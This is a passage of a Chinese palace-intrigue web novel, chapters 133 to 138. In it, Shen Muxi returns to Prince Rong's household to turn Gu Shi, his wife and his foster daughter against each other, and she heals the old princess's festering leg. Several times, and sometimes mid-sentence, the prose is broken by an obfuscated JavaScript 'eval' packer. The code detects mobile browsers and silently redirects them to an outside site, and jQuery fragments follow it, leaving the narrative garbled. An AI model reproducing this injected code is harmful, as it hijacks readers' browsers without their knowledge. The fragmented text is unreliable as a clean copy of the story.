除了客苑冷苑,几乎每个院子都自带小厨房,除了家宴,日常的饮食、煎药熬汤基本上都可以每个院子独立完成。 更不用说主院距离落霞苑还有一段距离。 正常人的想法都不会舍近求远 苏柳溪明显已经猜到了顾时的想法,她顾不上什么防不防,掀开床帏趴在床边急切地想要为虞悦希辩解。 “顾时哥,不关悦悦的事,我,我看到姐姐了,是姐姐给我灌了药” 情急之下,她连说话都带着哭腔。 顾时目光微凝,“你说的可是真的?沈氏来过?” 他的问题看似在问苏柳溪,实际目光却落在了翠娥身上。 翠娥瑟缩了一下,悄悄瞄了一眼在一旁同样不停擦拭前额冷汗的刘大夫 “你看刘大夫做什么?” 顾时一开口,翠娥完全放弃挣扎了。 “王妃自从昨天为她清理秽物的婆子离开后,就一直梦魇,刚才还说,看到了沈夫人说是沈夫人回来索命了。” 说完,她的脑袋垂得低低的,不敢看苏柳溪的眼神。 “不是,我不是做梦,是真的” 眼看苏柳溪情急之下想要下床,顾时立刻上前拦住了她,“你现在的身体情况还不能下床,先好好在床上躺着。” 苏柳溪顺势紧紧反握顾时的手,“顾时哥,你信我,这是真的,我敢肯定,姐姐刚刚才走。” 要不是顾时刚才亲自去悦雅巷将沈慕兮接到碧水苑看望顾筱筱,他还真的差点信了苏柳溪的话。 “都这种时候了,你还护着悦悦那个逆女?” 他满眼失望地看着苏柳溪,“先是纵容恶犬咬人,之后将你推倒,害你小产,如今她还让下人换了你的药害你损害身体,这桩桩件件,若是我想要细查,真相随时可以摆在你面前,我不愿查,是因为我还想留下我们这段‘父女’情分。” 说话间,顾时已 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远处传来了翠娥的声音。 沈慕兮眼底划过一抹不甘心。 想来是两人已经谈拢了,虞悦希又逃过了一劫。 不过,这也算是在意料之中的事情,沈慕兮失望多了,也就习惯了。 好在,经过这几天这么一闹,顾时对苏柳溪母女疏远,也只是迟早的事情。 目的达到。 沈慕兮随其他下人退下后,迅速回去柴房后与一个久候在那里多时的小丫鬟换了装,穿回了自己的衣裳,回去了碧水苑。 看到沈慕兮回来,贺月还警惕地看了一眼沈慕兮身后以及细听周围的动静,确定没人跟踪,她才放心地让母女二人独处。 看到沈慕兮,顾筱筱小脸上洋溢着欢喜的笑容,飞奔扑到沈慕兮身上。 “娘亲,筱筱好想你。” 沈慕兮一把抱住了女儿,抬手刮了刮顾筱筱的鼻子,笑得慈爱又宠溺。 “这些天,可有好好听月姐姐的话?” 第133章 多看顾时一眼都觉得恶心 顾筱筱骄傲地挺直了腰板,“筱筱可乖了。” 那神气的小模样,让人忍不住想要伸手捏捏她的小鼻子。 包括沈慕兮在内。 最终,她还是忍不住抬手捏了捏顾筱筱的小鼻子,眼底宠溺几乎要溢出来。 “是是是,我家筱筱,现在是越来越厉害了。” 这些天沈慕兮虽然没在顾筱筱身边,可是关于她的情况,一直都有人在给她禀报。 诚然,有些事情,以筱筱现在的年纪去接触不适合。 可是只要一想到当时她不在筱筱身边,筱筱被虐待、最后差点命丧黄泉,沈慕兮就忍不住后怕。 孩子保留天性是好事,但是高门不似寻常百姓,这里,是一个稍有不慎,就会粉身碎骨的地方。 她不能、也不敢保证,自己可以永远在女儿身边保护女儿。 有些事情,必须要她亲自去面对,她才能迅速成长 而她,能做的,就是尽可能地多教她一些保命的技能,不让之前的事情再次发生。 “娘亲,我们什么时候可以回家?娘亲会不会又像是之前那样,就看一下筱筱,然后又自己走了?” 顾筱筱的声音,将沈慕兮拉回了现实。 刚才还笑得一脸欢喜的小姑娘,此时脸上多了一些不符合年纪的愁绪。 沈慕兮抬手在她的前额不轻不重弹了一下,“傻瓜,娘亲既然来了,自然就是为了能跟筱筱一起,不然娘亲来做什么?” “娘亲,不要弹筱筱的脑袋,会变笨的。” 顾筱筱撅着小嘴捂头抗议。 沈慕兮忍不住凑到她脸上亲了一口,“我家筱筱这么聪明可爱,即使变笨蛋,也是一个可爱的小笨蛋。” 母女二人玩闹了一会,顾筱筱才将自己心里担心的事情说了出来, “可是,娘亲,你现在都被坏爹爹抓回来了,咱们要走,坏爹爹会放我们走吗?” “谁告诉你,我是被抓回来的。”沈慕兮哭笑不得,“就不能是娘亲想筱筱,特地来陪筱筱吗?“ 难怪刚才一脸愁容。 敢情她是以为她被强行留下来的。 “放心吧,我们很快就可以离开这里了。” 她抱着顾筱筱坐在贵妃榻上,状似无意地问了一句,“以后跟着娘亲,可能要到处流浪,筱筱怕不怕?” 顾筱筱摇头,小脸上写满了坚决,“娘亲在哪,筱筱就去哪。” 沈慕兮忍不住怜爱地亲了亲她的额头。 没有再说话。 思绪早已飘回了大半个月前—— 沈慕兮紧赶慢赶,总算追上了那群带着筱筱回来北辰,打算前往荣郡王府跟顾时领赏的江湖人士。 知道筱筱醒了,她为了避免节外生枝,最开始的安排是让红豆的人跟飞雪门的人交涉沟通,给出三倍价格,让人将筱筱送去丹阳。 没想到那会筱筱的身体还十分虚弱,再加上一路奔波,竟开始反复高热。 她心中不忍,最终还是决定将所有计划推翻重来,只为了能跟女儿重新见一面。 母女二人抱头痛哭了一个多时辰。 最后还是以顾筱筱哭着哭着睡着了做为收场。 那一天,沈慕兮对女儿的亏欠感达到了极致。 孩子分明没有过错,却因为苏柳溪母女的针对,平白无故差点没了性命,好不容易捡回小命,却还要这样来回折腾,仅仅只因为顾时那点子可笑的“悔意”。 在那一刻,沈慕兮做下了让顾筱筱亲自回去荣郡王府收取利息的决定。 在陪伴顾筱筱的那几天,她亲自为顾筱筱施针,训练顾筱筱的声感。 深知顾时的性格,她知道顾时的愧疚只是一时上头。 等他把女儿接回去了,过不了几天,心里的那杆秤会再次倾向苏柳溪母女。 若是顾筱筱能实时辨别对方说话的大概意思,起码可以让她不用太过被动。 就在她打算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287852|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让红豆充当小丫鬟留在顾筱筱身边之际,贺月主动出来担下保护筱筱的重任。 她是当时慕容景衍被安排追踪飞雪门的其中一个暗卫。 “姑娘不必担心,属下是殿下的暗卫,兄长贺玄已经在荣郡王府安排妥当,必不会再让小姐有任何闪失。” 眼看对方毫不避讳地说出了自己的身份,沈慕兮仅仅只是犹豫了片刻,就答应了贺月的请求。 所幸,贺月做得很好。 她没有让筱筱吃亏 如今,她既然回来了荣郡王府,要做的,就是在这个时间段,好好把握,离间苏柳溪、虞悦希跟顾时三人。 老荣郡王妃一向唯儿子的命是从。 三人分化,另外两人自然就是老荣郡王妃的眼中钉 沈慕兮的思绪越飘越远。 最后被贺月的一声“见过王爷”硬生生地打断了她的“灭府蓝图”。 “夫人在里面吗?” 顾时的声音淡然不带一丝情绪。 得了贺月肯定的答复,他推门而入。 沈慕兮依旧维持抱着顾筱筱靠坐在贵妃榻上的姿势。 看到顾时走到面前,她才慢慢放开顾筱筱起身。 一双眸子清凌 凌地看着顾时,她的眼神没有丝毫杂质,像是世间最澄澈的水晶,将顾时心里阴暗的某一面照得一清二楚。 “王爷让我来陪筱筱,说要给我跟筱筱还个公道,公道呢?” 顾时心虚地转过眼睛,“事情有变” 沈慕兮没有打算放过他,“筱筱再次被狗追咬,受到惊吓,始作俑者依旧高床软枕,这就是王爷口中所说的,会给我一个交代?” 若不是为了计划顺利推进不得不回来荣郡王府,沈慕兮现在多看顾时一眼都觉得恶心。 “溪溪她刚小产” 眼看顾时还要为苏柳溪母女辩解,沈慕兮冷笑打断了他的话,“苏柳溪小产了,跟虞悦希前来道歉,有冲突吗?” 第134章 顾时劝说沈慕兮做外室 她的声音语调不似以往那样温柔小意,还隐隐带了些剑拔弩张的味道。 顾时一阵无力,“慕慕,不要说这些话” 他上前想要牵起她的手,被沈慕兮毫不留情地甩开了。 “不要这么叫,我恶心。” 好家伙,她不过只是暂时随他回府,他现在居然还区分上了。 溪溪,慕慕。 他是打定主意要自己享受齐人之福了? 面对沈慕兮厌恶的目光,顾时心中不悦,却还是悻悻收回了手。 转而看向顾筱筱。 顾筱筱转身将自己的脑袋埋进沈慕兮的怀里,不跟顾时说一句话。 顾时自认自己这些天对这母女二人已经足够包容。 奈何对方根本不领情。 他深呼吸,努力压下心中的怒意,“我们之间的关系,非要变得这么僵吗?” 语气里,还带了一些委屈。 沈慕兮震惊地看向顾时。 他要不要听听他在说什么? 什么叫“非要变得这么僵”? 当初若不是他的无声纵容,她根本不可能死在匪头手上,更不可能让无辜的筱筱也被波及,受到虐待。 想起做灵魂时候看到的一切,沈慕兮只觉得连呼吸都泛着疼。 他哪来的脸觉得委屈? 不等沈慕兮说话,顾时又唤来了贺月将顾筱筱带下去。 沈慕兮没有阻止。 顾时自行坐下来,给自己倒了一杯凉水一饮而尽。 沈慕兮看得直皱眉——得,这会连杯子都不能要了。 “你若是来为虞悦希跟苏柳溪的狗说情,大可不必,不管说不说情,我也不可能原谅她们。” “沈慕兮,我是筱筱的父亲。” “父亲又如何?”沈慕反唇相讥,“顾时,你扪心自问,自筱筱出生后,所做的桩桩件件哪一样配做一个父亲?” 她的话,无疑是在提醒顾时,之前她娘俩遭受过的委屈。 顾时的气焰顿时消减了大半,“我不是这个意思,之前的事情,我真的” “有意义吗?” “什么?” 沈慕兮站在原地,连眼皮都没有掀起来,“孩子死了,你现在倒是想起来喂奶,早先干嘛去了?” “够了。” 真是油盐不进。 顾时耐心告罄,将手中的釉上青花茶杯重重往桌子上一搁,眼底戾气翻涌,“不过只是一点小误会,你非得小题大做,诚然之前是我做错了,可是我现在已经跟你了道歉,你还想怎样?” 他难得语气激动,双目猩红,仿佛下一刻就要飞扑到沈慕兮面前狠狠掐上她的脖子。 若是以往,只要顾时的语气有些许不对,沈慕兮就迫不及待地伏低做小。 顾时也是这么想的。 他虽然发了火,可是他不后悔对沈慕兮发火。 生怕沈慕兮不给自己道歉,他还不忘提了一嘴关于顾筱筱的事情,“筱筱今年已经六岁,若是寻常高门,早已开蒙,可是现在就因为我们的情况特殊,她至今还未被夫子教导过。 诚然,我娶了溪溪,你心中不敢,可你再生气,总要为孩子着想,你要好好想一想,是想要她浑浑噩噩地艰苦过完这辈子,还是想要她锦衣玉食,过上人上人的生活。” 果不其然,提起顾筱筱,沈慕兮显然迟疑了。 看到沈慕兮的神色有所软化,顾时再接再厉。 “你现在既然同意与我回来,难道就不想为孩子谋一个好前程?” 他的声音刻意放软还带了一些诱哄的意味。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287853|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈慕兮的神色有所松动,可依旧还是嘴硬地开口,“顾时,你应该知道,我不会与人共享丈夫。” “不会共享的,”顾时喜色跃然于脸上,“虽然在府上我没办法给你一个正式的名分,可是我答应你,若是你愿意乖乖听话,筱筱还是我的女儿,我可以在外面给你置办宅子,在外面,你还是我明媒正娶的妻子。” “你想让我当你外室?”沈慕兮一下子听明白了他绕了一大圈的意图。 废了好大的力气才将手上的巴掌压下去。 饶是这样,她还是被气得双眼通红。 “顾时,你这是在侮辱我。” 她一字一顿,几乎是从牙缝里面挤出来的。 顾时的话同样冷酷无情,“你口中所说的侮辱,是外头女子肖想不来的尊荣。你不为自己想一下,总要为筱筱着想,孩子不过五六岁,难道你就忍心剥夺本该属于她的一切?” 沈慕兮轻咬下唇,终是松了口。 “若是我乖乖听话,你确定你会对筱筱一视同仁?” “这是自然。” 顾时点头想再次靠近沈慕兮,被沈慕兮躲开了。 “你让我想一想。” 沈慕兮一脸纠结痛苦的模样,让顾时心里生出了一股难以言喻的快意。 极大满足了他心中的征服欲。 眼前女子,虽早已没了最初的朝气蓬勃,也没了最开始初遇时候的光华。 可她到底也是他生命中的第一个女人。 他的人生,不喜欢有遗憾。 “好,我给你 三天时间,若是你还是觉得,你所谓的自由更重要,那我便放你与筱筱离开,从此以后,我们互不相干。” 目的已经达到,顾时倨傲转身离开,全然没有注意到沈慕兮从痛苦转变成冷冽的目光。 第135章 男人的话,信一成都得倾家荡产 红豆不知道什么时候翻窗进了屋。 看到沈慕兮眼底浮现的寒芒,没由来的打了个寒颤。 “小姐。” 沈慕兮应声回头。 “如何了?” 说话之时,她眼底寒芒尽散。 红豆恭敬开口,“果然不出您所料,顾时将把您带回来的消息封锁了,连带他养女给他妻子下药的事情都掩盖了过去。” 简直不要太爱。 红豆在心里默默吐槽了一句。 暮春时分,白天已经开始有了夏日的暑气,一阵带着热气的微风从窗外卷进来,撩起了沈慕兮鬓边的发丝,也吹凉了她的心。 她不紧不慢地走到窗边,看着窗外满园春色,轻嗤一声,“所以啊,男人的话,信一成都倾家荡产。” 还好,她已经对他没有再抱任何希望。 沈慕兮将红豆唤到身边,在她耳边低语,“你这样” 红豆一边听着,一边点头,嘴里还不忘应和几声 自苏柳溪小产之后,已经过去了两天。 虞悦希从最开始期待顾时会怒气冲冲前来质问,到现在愈发心慌,她终于不得不接受顾时已经完全放弃她的事实。 心里愈发郁闷之际,辛婆子一路气喘吁吁小跑回来。 “小姐,不好了。” 虞悦希心中憋闷,看到辛婆子这个样子,更加上火,“你家小姐好得很,有话快说。” “原来王爷这些天不是一直宿在书房,而是有空就去了碧水苑那边,老奴听说,王爷在外面带了一个女人回来,好像是小小姐的生母。” 小贱人的生母,不就是老贱人? “不可能。” 想也不想,虞悦希脱口而出。 “不可能是那个小贱人的生母。” 那个贱人的骨头都被她拿去做骨木扇了,要是真的出现,那才是见鬼了。 “千真万确,小姐,您是知道的,老奴从来不说谎。” 辛婆子信誓旦旦地开口,就差没有竖三指起誓了。 虞悦希一开始没有对辛婆子的话放在心上,可是看到辛婆子这么肯定,她又动摇了。 一时之间,她拿不到主意,“我娘亲知道吗?” 听到悦希提起苏柳溪,辛婆子的脸色微微一僵。 “小姐,王妃现在被王爷下令要好好养身子,谁都不能见。” 换言之,就是她娘亲还不知道了。 虞悦希嘴角泛起冷笑,“是谁都不能见,还是怕娘亲知道?” 难怪这些天,顾叔叔连来都不来。 不过没关系。 她还有一个能用的人。 想到这里,虞悦希嘴角的笑意又深了几分。 沈慕兮被顾时回来荣郡王府的消息,在沈慕兮的刻意引导下,除了被“关”在主院坐小月子的苏柳溪,几乎所有人都知道了。 反应最大的,除了虞悦希,还有老荣郡王妃康氏。 “你说什么?时儿竟然这么糊涂,将那个贪慕虚荣的女人回来了?” 她的声音尖锐,几乎穿透在场所有人的耳膜。 咬牙切齿地将手边的青瓷茶盏扫落在地,似是不解气,她恶狠狠地瞪了眼前的苏婆子一眼,“这么大的事情,为何今天才告诉我?” 苏婆子是顾时特地从舒婆子身边提拔上来的。 舒婆子自从摔了一跤,生活不能自理以后,已经被顾时送去了庄子上颐养天年,只是康氏还不知道。 看着一脸木讷老实看向自己,嘴巴微动却什么都说不出来的苏婆子,康氏的心就像是蓄了一团无名业火,“看我做什么?我在问你话啊。” 苏婆子战战兢兢开口,“老老奴也是今早才知道的消息。” 话音刚落,又是劈头盖脸的各式糕点砸过来。 “他两天前带人回来,你今天早上才知道消息,你们都是干什么吃的?舒秋呢?让舒秋来。” 自从在丹阳回到荣郡王府后,康氏对于整个荣郡王府都有极强的控制欲。 即使是卧床不起,也要知道府上发生了什么事情。 这一点,舒婆子向来做得很好。 对上康氏吃人似的目光,苏婆子低头掩去了眼底冷静的暗茫,嘴上却在慌乱应答,“舒舒婆子她已经被王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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康氏至今都忘不了那条面目狰狞的大狗是如何扑上来咬伤她的肩膀和腿,对虞悦希自然没有好脸色。 “别乱叫,我没有你这么有能耐的孙女。” 虞悦希眼底迅速闪过一抹冷色,很快又恢复了以往乖巧的模样,“悦悦养的狗,惊扰了祖母,祖母不待见悦悦是对的,悦悦这次来就是想要给祖母赔罪。” 第136章 我这条腿伤成这样,算什么? “在我面前,你就别演了。”康氏对她的示弱不为所动,“你是什么样的人,瞒得过顾时,可瞒不了我。” 当初顾筱筱被狗咬、沈氏跟顾时有争吵的时候,她就知道那条狗有问题。 她不说话,是因为那条狗没有咬到她。 甚至连顾筱筱一直被虞悦希欺负,她都看在眼里。 只不过,权衡利弊之下,她觉得用一个平民生下来的孩子,换来苏府的支持,怎么算都划算,因此才会选择睁一只眼闭一只眼罢了。 如今虞悦希训练出来的畜生咬到了她,本人还亲自上门找骂,她自然不可能轻易放过这个机会。 看到虞悦希裹着纱布的半张脸上维持不住乖巧的表情,她嘴角笑意又深了些,“怎么,被我说中了,现在连装都不装了?” “祖母说的是什么话?”虞悦希仅仅只是怔愣了一下,很快又恢复如常,“不管发生什么事情,在孙女眼中,祖母就是比亲祖母都要重要的存在,有何来装与不装?” 她亲昵一笑,上前想要凑到康氏身边,被苏婆子死死拦住。 再看康氏,一脸不耐烦,随时想要送客。 虞悦希终究还是卸下了满脸笑意。 康氏抬眸,正好对上她凉薄的眼神,心中一颤。 空气中,弥漫着淡淡的臭味,不知是康氏被剜了肉的腿散发出来的味道还是虞悦希那张烂脸散发出来的味道。 两人对视片刻,终究像是达成了某种共识。 康氏的脸上也没有虞悦希刚进屋时候的抗拒。 她终究还是松了口,“说吧,今日来是有什么事?” 苏柳溪能在这么短的时间内让她儿子排除万难将她娶进门,康氏可不认为她是省油的灯。 被一盏不省油的灯带着的拖油瓶,能是什么好东西? 虞悦希看了一眼伺候在康氏身边的苏婆子。 康氏也注意到这个了沉默得即使在眼前也几乎让人察觉不到的存在。 眼尾微压,“你先退下。” “是。” 虞悦希上前想要靠近康氏。 恶臭扑鼻而来。 康氏面带嫌恶微微侧头,尽可能远离她。 虞悦希神色一僵,被袖子盖住的双手早已握紧成拳。 “祖母,孙女听说,顾叔叔把筱筱的娘亲接回来了,万一” “怎么,你还担心那个女人影响你娘亲的地位不成?”康氏眼皮轻掀,懒懒瞥向虞悦希。 “你是她真的影响到你娘亲的地位,那也是你娘亲的事情,你娘亲都不急,你急什么?” “可是,这些天顾筱筱一直在府里作威作福” “作威作福的又不止顾筱筱,”康氏不慌不忙地打断了虞悦希的电话,“我看你倒是比她还要嚣张,连一条狗都比我这个老荣郡王妃地位高。” 康氏始终还在对自己被狗咬一事耿耿于怀。 她可是听身边的婆子说了,要不是随行的下人因为那条狗是虞悦希的一直在迟疑犹豫,她的腿根本不会有问题。 虞悦希显然也猜到天狼咬了老荣郡王妃的事情在老荣郡王妃这里过不去了。 可她还是忍不住开口嘀咕了一声,“天狼也因为这个事情被打死了” “它被打死,是因为伤了你的脸,你们这是报应。”虞悦希不提这一茬还好,一提起来,康氏又激动了起来,“你还为一条死狗委屈上了?那我这条腿伤成这样,算什么?算我倒霉?” 本不想与孩子计较。 但是这孩子说出来的话,着实是让人没法不生气。 一想起那条恶犬,康氏只觉得双腿隐隐泛着疼,连骂虞悦希的心情都没有了。 “好了,如果你是因为顾筱筱母女二人的事情来找我,那我已经知道了,至于要如何安置她们母女,你跟你娘亲之前是怎么做的,我不干涉,你们也别来碍我眼。” 气在头上,她已经完全表明了态度。 虞悦希担心适得其反,纵然心中有再多的不甘,也能告退。 即将退下之时,她还不忘关切地看了康氏一眼,“那孙女退下了,祖母好好休息。” 康氏对着她乖巧离开的背影轻嗤一声,眼底没有半点温度,“假惺惺。” 苏婆子进屋伺候,刚好听到了康氏的话,连忙上前劝说,“老祖宗,这话可不能让王爷听到啊,悦悦小姐到底也是上了族谱的人” 苏婆子不开口还好,一开口,等于变相提醒了她之前她所做的糊涂事,脸色更加难看了。 “好了,这个事情,不要在我面前提起。” 晦气。 不过,虞悦希上门给她带来的消息,刚好可以给了她新的想法。 眼下苏府虽说在扶持时儿,可终究还是没有用尽全力 这对母女回来,倒是给了她一个很好的机会。 正当她还在想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“沈姑娘,小小姐,请随奴婢来。” 小丫鬟嘴上自称“奴婢”,眼角眉梢之间却全然没有对沈慕兮母女二人的尊重。 沈慕兮跟顾筱筱早就习以为常。 更何况母女二人已经没有再把这府上的任何一人当做一回事,自然不会被影响心情。 再次踏入装扮得富丽堂皇的荣辉堂。 沈慕兮脑子里闪过的还是之前顾筱筱奄奄一息倒在地上,被顾时母子嫌弃的场景。 她眼眶微微发烫,熨烫着她心口已经被刻意冰封的恨意。 随着心中情绪激荡,她只觉得心里有什么东西,正在缓缓破茧而出。 第137章 给老王妃“治腿” 进了荣辉堂,康氏还在维持刚才见完虞悦希的坐姿。 空气中弥漫着淡淡腐臭味,纵然可以熏了檀香,还是掩盖不住。 沈慕兮带着顾筱筱,一同恭敬地朝康氏行礼。 康氏随手一抬,眼皮轻轻一掀,目光先是在沈慕兮身上绕了一圈,随后落在几乎贴在沈慕兮身边的顾筱筱身上。 “都起来吧。” 顾筱筱听话起来,沈慕兮却跪在康氏面前一动不动。 “求婆母给我母女二人一条明路。” 康氏脸色微微一变,“沈氏,你说的是什么话?” 沈慕兮低头不语。 康氏看了一眼站在沈慕兮旁边,目光怯怯看向她的顾筱筱。 果然是在民间长大,没有半点大气。 康氏莫名心烦。 “苏嬷嬷。” “老奴在。” “将小小姐送回去碧水苑。” 沈慕兮猛然抬头,对上康氏凉薄如水的目光,嘴巴微微嗫喏了一下,最终还是重新低头,默许了康氏的安排。 顾筱筱不哭不闹,乖乖让苏婆子牵着离开。 堂内熏香混杂着腐肉的臭气,形成一股怪异的味道。 康氏看向沈慕兮,连眉毛都没有动一下。 “之前不是跑了吗,现在巴巴回来跪在我面前又是怎么回事?” 她漫不经心的声音之中透着轻视。 沈慕兮一脸难堪没有说话。 康氏一副“我就知道会是这样”的模样,看向沈慕兮的目光又多了几分轻蔑。 “我本不想理会你们母女二人,可是既然回来了,也求上门,我也不妨将丑话说在前头。 如今时儿已经娶妻,有些东西,不是你能觊觎的。” 沈慕兮面上逐渐出现屈辱神色,她隐忍不发,一双带着茧子的手紧紧攥着绣工精致的袖口。 “儿媳知道,求婆老王妃垂怜。” 说完,她又深深拜下。 康氏原本还以为沈慕兮这次前来,会拿着她手上的所谓方子跟她谈条件,让她帮她把苏氏的正妻之位抢回来。 没想到,她却是这般卑微地跪在她面前。 回想几个月前,沈慕兮刚回王府的时候,她纾尊降贵请她来荣辉堂,跟她提及让她做妾一事,她还铁骨铮铮地扬言不可能做妾。 如今不过离府几个月,倒像是被磨平了所有棱角,整个人看上去窝窝囊囊的。 一口恶气从心里缓缓吐出,连带看到虞悦希时候心里那股窝囊气也消了不少。 “说吧,你想要什么?” “儿媳”似是即将要说出来的话十分难为情,沈慕兮的话哽在喉间,好一会儿才艰涩开口,“儿媳想要留在荣郡王府,让筱筱有个好的出身。” 就这么简单? 康氏直觉以为这其中绝对不简单。 “这种小事,你跟时儿说一声就可以了,何必跑这一趟?” 沈慕兮苦笑,“老王妃不知” 在康氏探究的目光注视下,沈慕兮一分真九分假地将她离开荣郡王府以后的艰难说了出来,并表示了自己只想与顾筱筱好好留在王府的真心。 末了,她还将顾时想让她做外室的打算原封不动说了出来。 外室一事,是康氏始料未及的。 北宸官员连留连烟花之地都要被弹劾一番。 豢养外室,跟把官途拴在一个女人身上有什么区别? “时儿糊涂。” 她怒声低骂顾时一句,随手将手边软枕重重砸向沈慕兮。 “你好好的良妾不做,居然要做妾室,你怎么会这般自甘堕落?” 话未说完,软枕已经砸了出来,被沈慕兮俯身趴跪磕头的动作躲了过去。 “老王妃息怒儿媳连妾都不想做,更何况是外室?可是可是王爷是我的夫婿,筱筱又是我十月怀胎辛苦生下来的孩子,让我离开王府,我又如何舍得?” 康氏的眼眸缓缓眯起,“那你的意思是” “事关王爷清名还有筱筱的身份,我自然不可能应下的,所以,我让王爷给我三天的时间考虑”说到这里,沈慕兮像是下定了很大的决心,轻轻咬唇,“若是若是老王妃垂怜,将我收在身边伺候,我愿意无名无分留在王府为奴为婢,只求可以陪在王爷身边,可以看到筱筱平安长大” 说完,她无力跌坐在地,掩面痛哭。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287856|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 康氏难得没有对她发难。 一双细长的眸子闪过精光,很快又恢复如常。 “原以为你是个不知好歹的,没想到你也是难。” 她微微叹了口气,似是十分无奈,朝她摆了摆手,“我也不是那种不近人情的人,可是,我这里,从来不养闲人。” 沈慕兮停止了哭泣,一双沁满水光的眸子,带了几分我见犹怜的意味。 她悄悄打量打扮雍容的康氏。 富贵养人,果真不假。 在金玉的堆砌下,连康氏这种刁钻的人,看上去都多了几分慈悲。 难得她有这么“好说话”的时候。 当然,这种“好说话”,是有前提的。 “你当真有办法可以让我的腿复原?” 沈慕 兮甚至都还没来得及说些什么,康氏就率先开口询问了。 “若是无法复原,你当如何?” 沈慕兮重新跌坐在地,目露犹豫。 “方法是有,可是” “可是什么?” 康氏着急地问下去,现在对她来说,没有任何一个事情,比让她的右腿能够复原来的重要。 “话我放在前头,要是能治好我的腿,那我就给你一个留在我身边伺候的机会,至于筱筱” 康氏故意顿了顿,看到沈慕兮一脸紧张地看向自己,她才倨傲地朝她扬起下巴,“筱筱到底也是我荣郡王府的骨肉,我这个作为祖母的,自然不会亏待了她。” 沈慕兮顿时感恩戴德,“多谢老王妃。” “先别说这么多,”康氏抬手阻止了她站起来的动作,“我的腿,到底有什么方法可以治?” 她的目光带着逼视,仿佛只要沈慕兮说出一些不中听的话,她就随时能将沈慕兮赶走。 沈慕兮没有再说话,而是卑微地跪爬到康氏腿边。 告罪一声后,亲自掀开康氏还未结痂且散发恶臭的右腿裤管。 腐臭味裹着闷臭扑面而来,沈慕兮的眼睛都要被熏出眼泪了。 味道太过浓郁,守在外头的下人都忍不住微微蹙眉。 康氏更是忍无可忍地捏住了自己的鼻子。 第138章 卑微请求留在荣郡王府?呵,假的 只有沈慕兮,即使被熏红了双眼,依旧面不改色,吩咐下人取来热水剪子绷带一类的东西,就开始为康氏处理腿伤。 她的神情冷静,态度恭谨,完全没有半点厌恶,让康氏有一种她的腿还未受伤的错觉。 伤口鲜血淋漓,还带着味道,康氏甚至已经绷紧了全身,准备破口大骂,以迎接换药的疼痛。 可她闭眼了好半天,都没感觉到腿上的痛楚。 诧异睁眼之时,已经看到沈慕兮正在给她鲜血淋漓的腿上撒上药粉。 药粉接触伤口的那一瞬间,不仅没有疼痛,还有一种凉丝丝的感觉,她满足地叹息了一声,“手艺不错。” “老王妃,这是我耗尽家财买回来的白玉生肌粉,只要连着使用半个月,你腿上的皮肉就可以重新长出来,连带把之前剜去的筋脉也修复好,皮肉重新长出来以后,只要再根据您个人的需求,休养三个月到半年,就可以恢复无虞。” 康氏满意地点头,下意识地忽略了沈慕兮说的话,只听到后面的“三个月到半年”。 “不错。” 本来她的腿,基本上已经被大夫判定了一辈子不能走路。 没想到峰回路转,沈氏还是有点用处的。 “那你这三个月就在我身边伺候,直到我的腿痊愈为止。” 她说得理所当然,沈慕兮为难地看了她一眼,“老王妃,这白玉生肌粉效果好是好,可是价格却是一点都不便宜” “怎么,想留在我身边,还不想付出一点银子?” 右腿有救了,自以为可以用顾时跟顾筱筱拿捏沈慕兮的康氏立刻翻脸不认人。 “沈氏,是不是时儿对你太好,让你觉得我荣郡王府是什么阿猫阿狗都能随意进来?” 沈慕兮一副被她拿捏得死死的模样,委屈得红了眼眶,“可是可是我手上的白玉生肌粉,最多只能用七天,若是中途断了没用,或者方法不对,会得不偿失的啊。” “什么?” 康氏激动地站了起来,大步走到沈慕兮面前,抬手就要教训沈慕兮,被苏婆子激动的话一下子拉回了注意力。 “老老祖宗,您可以走路了。” 苏婆子快步走到康氏身边,一脸欣喜。 康氏这才发现,原先只要沾地就痛得她几乎要昏厥过去的右脚,此时居然恢复正常,而且,她甚至还能感觉到自己的身体都轻快了许多。 她眼底闪过一抹震惊——这世上,当真有如此神药? 很快,她的震惊转为了志在必得。 “沈氏,我再给你一次机会,不管你用什么方法,你都要把足够分量的白玉生肌粉找回来,否则” 康氏眼底闪过一抹冷意,轻轻俯身到沈慕兮耳边低语,“王府这么大,筱筱若是有个磕着碰着掉落到湖中,也是再正常不过的事情。” 沈慕兮脸色瞬间变得惨白。 